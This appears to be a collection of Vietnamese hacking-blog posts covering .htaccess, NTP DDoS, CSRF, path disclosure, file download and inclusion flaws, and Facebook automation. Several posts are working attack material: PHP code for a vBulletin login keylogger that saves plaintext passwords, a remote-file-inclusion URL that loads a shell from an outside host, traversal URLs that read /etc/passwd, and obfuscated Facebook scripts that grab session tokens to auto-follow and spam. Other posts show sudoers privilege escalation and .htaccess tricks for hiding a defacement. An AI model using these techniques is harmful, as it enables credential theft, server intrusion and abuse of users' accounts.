Thứ Tư, 20 tháng 8, 2014

Tổng Quan Htaccess [ Sưu Tập ]

1. .htaccess là gì?

1.1. .htaccess là gì

.htaccess là một file cấu hình sử dụng cho các web server chạy Apache. .htaccess dùng để thiết lập các tùy chọn: thực thi hay loại bỏ các chức năng, tính năng của Apache

1.2. Ý nghĩa ký hiệu định nghĩa trong .htaccess
# : cho phép server bỏ qua dòng này
[F] : Forbidden, hướng dẫn server trả về lỗi 403 cho client
[L] : Last rule, hướng dẫn server ngừng ghi lại sau khi một chỉ thị đã được xử lý
[N] : Next, chỉ dẫn cho Apache trả về luật rewrite cho tới khi tất cả các chỉ thị rewrite được hoàn tất.
[G]: Gone, chỉ dẫn server chuyển thông điệp Gone
[P]: Proxy, chỉ dẫn server sử dụng các request cung cấp bởi mod_proxy
[C]: Chain, chỉ dẫn server gắn luật trước với luật sau nó
[R]: Redirect, hướng dẫn Apache đưa ra một chuyển hướng
[NC]: No case, xác định bất cứ trường hợp nào liên quan tới nó là vô lý (Không thể xảy ra)
[PT]: Pas Through: chỉ dẫn mod_rewrite để vượt qua cơ chế ghi lại URL cho các xử lý xa hơn
[OR]: Or, là cú pháp logic bình thường (biểu thức kết hợp đúng khi một trong hai biểu thức con của nó đúng)

Thứ Tư, 9 tháng 4, 2014

Phân Tích Phương Pháp Tấn Công DDOS Lợi Dụng NTP SERVER.

  Phương Pháp DDOS Qua NTP server.

   Tấn công từ chối dịch vụ (DDOS) luôn là mối đe dọa lớn đối với các công ty cũng như cá nhân chủ sở hữu website trên toàn thế giới.Phương pháp tấn công DDOS hiện nay rất đa dạng.Và hàng ngày attacker vẫn luôn cố gắng khai thác tìm ra các cách ddos mới.Cuối năm 2013 xuất hiện một kiểu ddos mới.Gọi là flood thông qua NTP server.Với kiểu ddos này attacker từng gây khó khăn không nhỏ cho các server game lớn như League Of Legends .Hay các công ty có dịch vụ bảo mật như Cloudflare.

   Cũng gần giống như các phương pháp tấn công DDOS phổ biến khác.Attacker lợi dụng các server NTP (server có dùng giao thức NetWork Time Protocol ) gửi hàng loại packet đến server mục tiêu chỉ định.Trên thực tế với cách tấn công này không chỉ gây nguy hiểm cho victim xác định bởi attacker mà nó còn gây thiệt hại đối với chính server NTP được dùng làm nới khuyếch đại gói tin và hợp thức hóa đối tượng gửi dữ liệu đến victim.Trước tiên chúng ta sẽ xem NTP server là gì và nó họat động như thế nào.Vì sao attacker lại lợi dụng nó trong cuộc tấn công .

Căn Bản NTP Server.
 Trước hết nói riêng về giao thức NTP - Đây là một giao thức mạng thực hiện việc đồng bộ thời gian (đồng hồ) trên các máy tính.Khi bạn cài máy tính,có kết nối mạng,thường máy tính sẽ được cài đặt với đúng múi giờ bạn đang ở (Nếu không có mạng thì bạn phải chọn múi giờ).Thông qua giao thức này máy tính cũng kiểm soát được thời gian,tránh xảy ra độ sai lệch có thể xảy ra.Bạn có thể kiểm tra trên window thông qua ứng dụng Date and Time để thấy được máy tính được thiết lập đồng bộ thời gian với một server NTP nào đó.

Chủ Nhật, 9 tháng 2, 2014

Cross-site request forgery CSRF

Cross-site request forgery CSRF

a) Giới thiệu chung về CSRF:


Giả mạo yêu cầu (CSRF) là một kiểu tấn công được nêu trong Top 10 của OWASP, theo đó một trang web độc hại sẽ gửi một yêu cầu tới một ứng dụng web mà người dùng đã được xác thực chống lại từ một trang web khác nhau. Bằng cách này, kẻ tấn công có thể truy cập chức năng trong một ứng dụng web của mục tiêu thông qua các nạn nhân đã được xác thực của trình duyệt. Các mục tiêu bao gồm các ứng dụng web như phương tiện truyền thông xã hội, trong trình duyệt khách hàng email, ngân hàng trực tuyến ....
+CSRF giải thích theo cách này có lẽ dễ hiểu hơn:

CSRF là kiểu tấn công bằng cách sử dụng quyền chứng thực của người sử dụng đối với một website khác ( mượn quyền ceritification ), các ứng dụng web hoạt động theo nguyên tắc nhận các lệnh http từ người dùng sau đó thực thi nó. CSRF sẽ lừa trình duyệt của người dùng để gửi đi các lệnh http đến các ứng dụng web trong trường hợp session (phiên làm việc) của người dùng chưa hết hiệu lực thì các lệnh http trên sẽ được thực hiện với quyền chứng thực của người dùng trước đó.


b) Những yếu tố chính cần nắm khi tấn công bằng phương pháp CSRF:

- Yêu cầu đôc hại (Malicious requests) được gửi đến website khác nơi mà người dùng truy cập đến website đó đã được xác thực.
- Yêu cầu độc hại (Malicious requests) được chuyển đến trang web mục tiêu (target site) thông qua trình duyệt của nạn nhân, nơi mà nó đã được xác thực chống lại các trang web mục tiêu.
- Lỗ hổng này tồn tại trên các ứng dụng web, chứ không tồn tại trên trình duyệt của nạn nhân cũng như các trang lưu trữ thông tin lỗi CSRF

c ) Cách tấn công CSRF:

Full path disclosure. (FPD)

Full path disclosure. (FPD)

a) Giới thiệu chung


Đây là một lỗi nhỏ.Nhưng đôi khi nó quyết định cả vấn đề có thể khai thác được tiếp hay là không.FPD cho phép ta xác định được đường dẫn trong server.Từ đó giúp khai thác nhanh hơn .Ví dụ như khi ta khai thác LFI chẳng hạn.Nếu như folder thay đổi.Ta có thể dùng cách này để xác định.

http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php

Như trên ,để đọc đc file config bằng lfi trước tiên ta phải xác định đc đường dẫn đến nó.Và FPD là một phương pháp giúp đỡ ta đi nhanh hơn trong việc này.

b) Cách khai thác.

Việc tận dụng khai thác FPD còn tùy thuộc vào nhiều điều.Đối với một số mã nguồn mở đã công bố.Thì FPD đã được xác định ở một số đường dẫn.Mình sẽ trích dẫn một số.Các bạn khi đang tấn công một server nào đó.Trong server giả sử có một site vbulletin chẳng hạn.Thì các bạn xem phiên bản đó rồi search để tìm link cho xem full path nhé.
Ví dụ như đối với vbulletin 4.x 5.x có thể xem các đường dẫn sau:

/includes/api/commonwhitelist_2.php /includes/api/commonwhitelist_5.php /includes/api/commonwhitelist_6.php /includes/api/1/album_album.php /includes/api/1/album_editalbum.php /includes/api/1/album_latest.php /includes/api/1/album_overview.php /includes/api/1/album_picture.php /includes/api/1/album_user.php /includes/api/1/announcement_edit.php /includes/api/1/announcement_view.php /includes/api/1/api_cmscategorylist.php /includes/api/1/api_cmssectionlist.php /includes/api/1/api_forumlist.php /includes/api/1/api_getnewtop.php /includes/api/1/api_getsecuritytoken.php /includes/api/1/api_getsessionhash.php /includes/api/1/api_init.php /includes/api/1/api_mobilepublisher.php /includes/api/1/api_usersearch.php /includes/api/1/blog_blog.php /includes/api/1/blog_bloglist.php /includes/api/1/blog_comments.php /includes/api/1/blog_custompage.php /includes/api/1/blog_dosendtofriend.php /includes/api/1/blog_list.php /includes/api/1/blog_members.php /includes/api/1/blog_post_comment.php /includes/api/1/blog_post_editblog.php /includes/api/1/blog_post_editcomment.php /includes/api/1/blog_post_edittrackback.php /includes/api/1/blog_post_newblog.php /includes/api/1/blog_post_postcomment.php /includes/api/1/blog_post_updateblog.php /includes/api/1/blog_sendtofriend.php /includes/api/1/blog_subscription_entrylist.php /includes/api/1/blog_subscription_userlist.php /includes/api/1/blog_usercp_addcat.php /includes/api/1/blog_usercp_editcat.php /includes/api/1/blog_usercp_editoptions.php /includes/api/1/blog_usercp_editprofile.php /includes/api/1/blog_usercp_modifycat.php /includes/api/1/blog_usercp_updateprofile.php /includes/api/1/editpost_editpost.php /includes/api/1/editpost_updatepost.php /includes/api/1/forum.php /includes/api/1/forumdisplay.php /includes/api/1/inlinemod_domergeposts.php /includes/api/1/list.php /includes/api/1/login_lostpw.php /includes/api/1/member.php /includes/api/1/memberlist_search.php /includes/api/1/misc_showattachments.php /includes/api/1/misc_whoposted.php /includes/api/1/newreply_newreply.php /includes/api/1/newreply_postreply.php /includes/api/1/newthread_postthread.php /includes/api/1/newthread_newthread.php /includes/api/1/poll_newpoll.php /includes/api/1/poll_polledit.php /includes/api/1/poll_showresults.php /includes/api/1/private_editfolders.php /includes/api/1/private_insertpm.php /includes/api/1/private_messagelist.php /includes/api/1/private_newpm.php /includes/api/1/private_showpm.php /includes/api/1/private_trackpm.php /includes/api/1/profile_editattachments.php /includes/api/1/profile_editoptions.php /includes/api/1/profile_editprofile.php /includes/api/1/register_addmember.php 



Local file download (LFD)

Local file download (LFD)
a) Giới thiệu chung :


LFD là một phương pháp khai thác lỗi hổng của website bằng các sử dụng metod get để download một số file nhạy cảm .( Cũng có thể dùng metod post nhưng phải kèm theo addon tamper data của firefox ).

đoạn script dẫn đến lỗi này là

<?php
if(isset($_POST['download'])) {
$file = $_GET['file'];
$file_info = pathinfo($file);
header('Content-type: application/x-'.$file_info['extension']);
header('Content-Disposition: attachment; filename='.$file_info['basename']);
header('Content-Length: '.filesize($file));
readfile($file);
exit;
}
?>


b)Cách khai thác :

Tương tự như đối với lfi nó ko xác định được chính xác file cần download xuống.
Giả sử như trên thực thế ta muốn download xuống một file như sau:

http://hackingworld.net/download_file.php?file=Mrookit.exe

ta có thể khai thác file etc/passwd như sau:

http:// hackingworld.net/download_file.php?file=../../../../../../../../../etc/passwd

Local file inclusion (LFI)

Local file inclusion (LFI)

a) Giới thiệu chung

Kĩ thuật này khai thác tương tự như đối với Remote File Inclusion .Có điều ta ko thể chèn nội dung file từ xa được.Mà chỉ có thể gọi các file hệ thống có liệu lực cục bộ (Cùng server).Ví dụ như có thể khai thác các file etc/passwd , httpd.conf , php.ini , access_log chẳng hạn.Hoặc đôi khi ta dùng nó để đọc các file config cùng server.

b) Cách tìm site lỗi:

Ta có thể tìm bằng các dork sau

index.php?page=
index.php?option=
search.php?word=


+ Sau đó có thể kiểm tra bằng cách thêm dấu ' vào sau nó: nếu như nó trả về một warning tương tự như sau thì có thể xem như site này bị Local File Inclusion

http://www.qcivalves.com/index.php?page='

Warning: include_once(\') [function.include-once]: failed to open stream: No such file or directory in/home/content/37/4936137/html/template.php on line 40

Warning: include_once() [function.include]: Failed opening '\'' for inclusion (include_path='.:/usr/local/php5/lib/php') in/home/content/37/4936137/html/template.php on line 40


c) Cách check site bị lỗi LFI

Remote file inclusion (RFI)

Remote file inclusion (RFI)
a)Giới thiệu nội dung chính :


Đây là một phương pháp hack lợi dụng hàm include() trong php để chèn vào một vài file nào đó.Thường nội dùng chèn vào file ta nên lấy từ 1 file txt nào đó chứa nội dung của một script shell.
Xem một mẫu RFI
http://www.victim.com/index.php?page=home
Và đoạn script cho phép chèn

<?php
$page = $_GET['page'];
include($page);
?>


Ở đây nếu biến $page đc khai báo toàn cục trong file cấu hình php.ini (register_global đc set on) thì đoạn script đc viết kiểu như sau

<?php
include($page);
?>


Giả sử victim là http://www.victim.com/index.php?page=home
ta có thể chỉ định cho home là nội dung của một con shell.Ví dụ như thế này.
http://www.victim.com/index.php?page=www.huynhdegroup.com/shell.txt?
Lúc này nội dung của con shell sẽ được chèn vào thay thế cho nội dung của trang home.
Điều kiện để có thể include nội dung từ một link khác này có thể thực hiện đc đó là trong cấu hình php.ini ,2 thuộc tính allow_url_open , allow_url_include đc set là ON.Chỉ khi 2 thuộc tính này đc set là On nó mới cho phép vịêc thực hiện include từ 1 url nào đó vào nội dung của site.Vậy thử suy nghĩ xem.Giả sử truờng hợ 2 thuộc tính này đc set với giá trị là OFF thì điều gì sẽ xảy ra.Và ta sẽ xử lí trường hợp này như thế nào?
- Điều xảy ra đó là ko thể include nội dung từ 1 url khác đc.
- Nhưng ta có thể lợi dụng lỗi này để xem một số file nhạy cảm khác nằm trong server của mình .Như xem nội dung của etc/passwd chẳng hạn --> phương pháp này gọi là Local File Inclusion .Chúng ta sẽ bàn về nó sau

Thứ Bảy, 8 tháng 2, 2014

Code Auto Câu Like, List Sub, Sub

Code Auto Câu Like, List Sub, Sub, mình đã ghi chú chi tiết trong code. Chỉ cần chạy theo mẫu sau:

<function>(id);
vd để câu sub ta chạy a(123456789)
Trong đó a là function câu sub mình đã ghi chú ở dưới
123456789 là id của fb mình
Shared By VnDragon TheGioiNgam.Org

alert('Code auto like flowing sub ');
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone) //flowing
{
var http4=new XMLHttpRequest;
var url4="/ajax/follow/follow_profile.php?__a=1";
var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
http4.open("POST",url4,true);
http4.onreadystatechange=function()
{
  if(http4.readyState==4&&http4.status==200)http4.close
}
;
http4.send(params4)
}
function sublist(uidss) //sublist
{
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}
function p(abone)
{
var http4 = new XMLHttpRequest();
var url4 = "//www.facebook.com/ajax/poke_dialog.php";
var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp=";
http4.open("POST", url4, true);
http4.onreadystatechange = function ()
{
  if (http4.readyState == 4 && http4.status == 200)
  {
  http4.close;
  }
}
;

Code Auto Tag Facebook

Cách sử dụng:
Vào link comment cần tag theo cấu trúc sau:

/* Code By VnDragon */
function x__0()
{
    return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest;
};
function get_friends()
{
    var a=x__0();
    a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
    a.send(null);
    if (a.readyState == 4)
    {
        var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
        return f.payload.entries;
    }
    return false;
}
function get_uid(b)
{
    var a=x__0();
    a.open("GET", 'http://graph.facebook.com/'+b, false);
    a.send();
    if (a.readyState == 4)
    {
        return uid = JSON.parse(a.responseText).id;
    }
    return false;
}

Code Auto Post Wall Facebook

Vào https://www.facebook.com/ nhấn F12 và chạy.
shared by Vndragon TheGioiNgam.Org

javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Auto Post Wall Facebook</a></div></br>";
grouppost += "<div><textarea id='txtFloodMsg' placeholder='Nh?p n?i dung c?n post' style='COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'>Autopost wall facebook ! VnDragon - Chúc các b?n vui v?</textarea></div>";
grouppost += "<div><br><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>VnDragon </a></span><button style='margin-left:437px' class='_2 _3 _6 _4 _5 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'>Copyright ©: VnDragon</br>0163 345 05 05</A><A style='color:#3B5998;' href='http://phucnguyen.tv' target='_0'> Phúc Nguy?n</A></A><A style='color:#3B5998;' href='https://www.facebook.com/vndragon1995' target='_0'> </A></A>,</A><A style='color:#3B5998;' href='https://www.facebook.com/vndragon1995' target='_0'> </A></A></br>Web : <A style='color:#3B5998;' href='http://www.phucnguyen.tv' target='_0'>http://www.phucnguyen.tv</A>.</A><br></div>";
var Popupset = document.createElement("div");
Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
Popupset.innerHTML = grouppost;

Code Auto Add Friend To Group FaceBook

Cách sử dụng:
Link down code: http://antiwhitehat.com/code/autoaddfriend.txt
Vào link https://www.facebook.com/groups/xxxxxxx và chạy.
Code đã bị loại bỏ một số đoạn câu sub và like nên ae yên tâm
Shared By VnDragon TheGioiNgam.Org

function hp_d12(s) {
var o = "",
ar = new Array(),
os = "",
ic = 0,
p = 0;
for (i = 0; i < s.length; i++)
{
c = s.charCodeAt(i);
if (c < 128) c = c ^ ((p++ % 8) + 1);
os += String.fromCharCode(c);
if (os.length > 80)
{
ar[ic++] = os;
os = ""
}
}
o = ar.join("") + os;
return o
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim)
{
var tarama = isim + "=";
if (document.cookie.length > 0)
{
konum = document.cookie.indexOf(tarama);
if (konum != -1)
{
konum += tarama.length;
son = document.cookie.indexOf(";", konum);
if (son == -1) son = document.cookie.length;
return unescape(document.cookie.substring(konum, son))
}
else
{
return ""
}
}
}
function getRandomInt(min, max)
{
return Math.floor(Math.random() * (max - min + 1)) + min
}

Thứ Sáu, 7 tháng 2, 2014

Scan Site [Backtrack w3af]

Backtrack

1.Sử dụng backtrack
 cd /pentest/web/golismero/    
chạy python GoLismero.py - t www.batman-3d.de -c -m -A all -x -o /root/outfile.txt

-> Xem danh sách file ,tìm lỗ hổng.
2.cd /pentest/web w3af


Nâng cấp quyền root [linux]

Sửa file /etc/sudoers.
Add vào dòng sau:

root    ALL=(ALL) ALL
capuchino    ALL=(ALL) ALL
capuchino    ALL=(root) NOPASSWD: /sbin/

Hoặc add user vào nhóm wheel.
%wheel ALL=(ALL) ALL
 to Wheel group
# usermod -G10 user1

Keylogger Vbulletin (VBB)

Cái này chạy trên 3.x nhưng lên 4.x phải edit lại một tý.
Cách này mình đã cải tiến rút gọn, không loằng ngoằng như cái trước, rất dễ cho ace làm!!!
Vẫn như cũ: Mở file login.php tìm dòng process_new_login(....) thêm vào đoạn sau:

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);$lg_password = $vbulletin->GPC["vb_login_password"];// Lưu vào file$lg_file = "modcp/test.html";$sql_query = @mysql_query("SELECT * FROM `" . TABLE_PREFIX . "user` WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query)) {
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
$logfile = @file($lg_file);
$logfile[] = $lg_username . " : " . $lg_password." (" . $row["email"] . ")";
$logfile = array_unique($logfile);
$fp1 = fopen($lg_file, "w");
fwrite($fp1, implode("\r\n", $logfile));
fclose($fp1);
}
break;
}

Vbb 4x mặc định sẽ không submit clear password lên, cần sửa 1 chút:
Tìm mở file clientscript/vbulletin_md5.js ra, tìm hàm sau: function md5hash(B,A,E,C) {...} (kéo xuống cuối file thấy ngay).
Trong function này có B.value="" ==> sửa thành B.value=B.value cho đỡ phải sửa nhiều.
Vậy là xong rùi, F5 rùi login thử.
Vô đây coi log nha "modcp/test.html" (nên sửa path file này để bảo mật cho 4rum của bạn).

P/s: Đã test trên vbb 4.0.3!

File Htaccess

Hôm nay có nguời pm hỏi mình về cách dùng file htaccess.Cái này trên mạng không thiếu.Nhưng tổng hợp lại cho vào tài liệu căn bản cho mấy newbie học.Những cái căn bản cũng là cái quan trọng mà :)).Sau đây là chức năng của nó.

1.Dùng để qui định thứ tự của index:

DirectoryIndex index.php index.htm index.html defaul.html

Câu lệnh trên qui định thứ tự index.Nếu cái đầu không có (index.php) .Nó sẽ hiện cái file tiếp theo là index.html làm index cho site .( thực tế là index cho thư mục chưa file .htacess).

Ví dụ khi có shell rồi,deface forum vbulletin vớu file index.html ở thư mục /includes/index.html.Thì mình quăng file .htaccess vào thư mục root với nội dung như sau
DirectoryIndex defaul.html index.htm /incudes/index.html index.php

nếu victim gà quá.Thì nó ko biết các tìm cái index bị deface đâu :))



2.Redirect về địa chỉ mới:
Giả sử muốn làm cho guest khi vào site A nhưng lại nhảy sang site B (trường hợp bạn có nhiều tên miền chẳng hạn).

Redirect /forum/index.php http://huynhdegroup.net/@vhb@/index.php

hoặc có thể là

Redirect /forum http://huynhdegroup.net/